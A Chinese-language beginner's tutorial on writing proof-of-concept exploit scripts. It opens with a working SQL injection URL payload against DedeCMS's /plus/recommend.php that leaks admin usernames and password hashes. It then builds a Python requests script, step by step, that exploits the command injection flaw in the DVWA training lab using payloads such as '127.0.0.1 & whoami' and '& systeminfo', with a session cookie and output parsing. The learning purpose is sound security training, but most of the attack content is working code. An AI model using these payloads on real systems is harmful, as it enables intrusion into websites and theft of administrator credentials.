POC编写:
分为开源框架和非开源框架。
如果只是测试用,非开源比较多一些
POC编写思路:
根据漏洞产生原理区分:
这是织梦的一个注入:
- /plus/recommend.php?&aid=18_ _FILES[type][tmp_ name]=\%27%20%2
0or%20mid= @%60\%27%60%20/*!50000union*//*!5000Oselect*/1,2,3,
%28select%20%20CONCAT%280x7c,userid,0x7c,pwd%29+ from+ %60%
23@_ admin%60%20limit +0,1%29,5,6,7,8,9%23@%60\%27%60+&_ _FIL
ES[type][name]= 1jpg&_ FILES[type][type]= application/octet-
stream&_ FILES[type][size]=111
使用方法:在前面加上网址,就会爆出相应的账号和密码。
到时候将账号和密码通过正则表达式,就可以获取。
在编写本节的POC之前,先介绍下POC和exp(小白一个,我也刚学安全开发)
首先POC是用来验证漏洞存在的。
exp是则是利用漏洞来执行的恶意操作。
初级情况都是用框架来生成exp和poc的比如,metasploit,pocsuite。
以DVWA的Command_Injection为例(low级别):
首先:在编写POC代码前,有很多工作要做,代码的编写可能连一半的工作量都不到。
1:分析漏洞
1:安全等级为low,漏洞点是**Command Injection(命令注入)
** 模块
当你输入127.0.0.1时,它显示:
看一下源代码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ]; //获得表单数据
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// php_uname()可获得操作系统名称,'s'代表system,
//stristr是一个字符串搜索函数(不区分大消息)
//这句的意思是,如果系统名称中包含windows NT
$cmd = shell_exec( 'ping ' . $target );
//就会执行ping命令,对象就是输入的target
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
//ping -c 4是针对uinx系统的,也是执行ping
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
//将执行的结果显示到页面
}
?>
这个源代码乍一看,很有问题。
shell_exec之前学过这函数很危险,用户提交数据会导致命令注入攻击。
而且输入的IP没有任何过滤措施。
当采用与 或 运算符应该能实现绕过。
ping 127.0.0.1 & whoami
ping 127.0.0.1 && whoami
ping 127.0.0.1 | whoami
ping 127.0.0.1 || whoami
头三个有用。
开始分析:
先抓个包分析一下它流量是怎么走的。(用BP抓的)
可得出的信息有
1:文件目录:
/vulnerabilities/exec/
2:请求方式是 POST
3:域名是http://dvwa
4:有cookie
开始编程:
1:实现通信
# coding=utf-8
import requests
url = "http://dvwa/vulnerabilities/exec/"
data = {"ip":"& whoami"}
# 禁止跳转 allow_redirects = False
response = requests.post(url, data, allow_redirects=False)
#allow_redirects=False是不能重定向的意思。response得到的是服务器返回的所有信息,包括状态码、响应头和响应正文等。
print("状态: {}".format(response.status_code))
print("302跳转地址: {}".format(response.next.url))
allow_redirects=False 是在页面转跳前显示出它要转跳的地址
302,而且它要转跳的是login.php登录页面。
这个我百度了是因为没有cookie,下一步把cookie加进去(前面的抓包信息中有)
将cookie写进hearders里
通过抓包信息可知,data除了ip&命令,还有Submit
# coding=utf-8
import requests
url = "http://dvwa/vulnerabilities/exec/"
headers = {"Cookie":"PHPSESSID=b1a2qpnuthfnim3960sliivapv; security=low"}
data = {"ip":"127.0.0.1 & whoami","Submit":"Submit"}
# 禁止跳转 allow_redirects = False
#cookie:b1a2qpnuthfnim3960sliivapv;
response = requests.post(url, data, allow_redirects=False,headers=headers)
print("状态: {}".format(response.status_code))
print("结果:{}".format(response.next))
状态是200了。
目前只实现了,与该url的传参通信。下一步是反应处漏洞特征
前面说过response会返回状态码、状态码、响应头和响应正文。其中可以从相应正文中判断受否出现漏洞特征。
响应正文是
response.text
如何从响应正文中判断出它执行了命令
我采用的方法是用systeminfo验证,返回的响应中一定会存在system
# coding=utf-8
import requests
url = "http://dvwa/vulnerabilities/exec/"
headers = {"Cookie":"PHPSESSID=b1a2qpnuthfnim3960sliivapv; security=low"}
data = {"ip":"127.0.0.1 & systeminfo","Submit":"Submit"}
# 禁止跳转 allow_redirects = False
#cookie:b1a2qpnuthfnim3960sliivapv;
response = requests.post(url, data, allow_redirects=False,headers=headers)
if response.status_code == 200 and response.text.find("system") != -1:
print("有漏洞")
print(response.text)
else:
print("没有漏洞")
print("状态: {}".format(response.status_code))
运行后成功出现漏洞特征。
下一步:虽然已经具有判断存在漏洞的能力,但是显示的是html语句,看起来很不顺眼,下面是解析HTML文档。
加入BeautifulSoup库
from bs4 import BeautifulSoup
if response.status_code == 200 and response.text.find("sys") != -1:
print("[*] {} 有command_injection漏洞".format(url))
soup = BeautifulSoup(response.text, 'lxml')
# 在html找到第一个pre标签并返回,取出内容就是命令执行的结果
pre = soup.find("pre")
print("[*] response {}".format(pre.text))
else:
print("[x] {} 没漏洞".format(url))
soup = BeautifulSoup(response.text, 'lxml')
pre = soup.find("pre")
print("[*] response {}".format(pre.text))
127.0.0.1 & systeminfo
127.0.0.1